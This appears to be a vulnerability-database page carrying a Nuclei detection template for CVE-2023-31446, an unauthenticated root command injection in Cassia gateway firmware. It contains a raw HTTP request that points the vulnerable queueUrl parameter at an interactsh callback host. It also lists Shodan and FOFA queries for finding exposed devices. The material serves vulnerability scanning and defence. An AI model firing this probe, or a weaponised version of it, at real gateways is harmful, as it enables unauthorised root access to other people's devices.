Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2023-31446
HistoryApr 23, 2024 - 8:31 a.m.

Cassia Gateway Firmware - Remote Code Execution

2024-04-2308:31:25
ProjectDiscovery
github.com
18
cassia gateway
rce
cve-2023-31446
xc1000 firmware

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.6

Confidence

High

EPSS

0.014

Percentile

86.6%

In Cassia Gateway firmware XC1000_2.1.1.2303082218 and XC2000_2.1.1.2303090947, the queueUrl parameter in /bypass/config is not sanitized. This leads to injecting Bash code and executing it with root privileges on device startup.
id: CVE-2023-31446

info:
  name: Cassia Gateway Firmware - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    In Cassia Gateway firmware XC1000_2.1.1.2303082218 and XC2000_2.1.1.2303090947, the queueUrl parameter in /bypass/config is not sanitized. This leads to injecting Bash code and executing it with root privileges on device startup.
  reference:
    - https://github.com/advisories/GHSA-89ph-wr9x-hcfc
    - https://github.com/Dodge-MPTC/CVE-2023-31446-Remote-Code-Execution
    - https://vuldb.com/?id.250210
    - https://blog.kscsc.online/cves/202331446/md.html
    - https://www.cassianetworks.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-31446
    epss-score: 0.01982
    epss-percentile: 0.8876
    cpe: cpe:2.3:o:cassianetworks:xc1000_firmware:2.1.1.2303082218:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cassianetworks
    product: xc1000_firmware
    shodan-query:
      - html:"Cassia Bluetooth Gateway Management Platform"
      - http.html:"cassia bluetooth gateway management platform"
    fofa-query: body="cassia bluetooth gateway management platform"
  tags: cve,cve2023,rce,cassia,gateway,cassianetworks

http:
  - raw:
      - |
        @timeout: 20s
        GET /bypass/config?type=sqs&keyId=test&key=security&queueUrl=http://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"

      - type: regex
        regex:
          - "^OK$"
# digest: 4a0a0047304502207552813231c8cd4ce36e81ce6020b8fb240bbb0de7ddba8012b8ef319aaeecbe022100b7953d7c39b75c5fcbf86321660e8ae8c440cd2332db415f2fbabb65aa1b5ec4:922c64590222798bb761d5b6d8e72950

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.6

Confidence

High

EPSS

0.014

Percentile

86.6%

Related for NUCLEI:CVE-2023-31446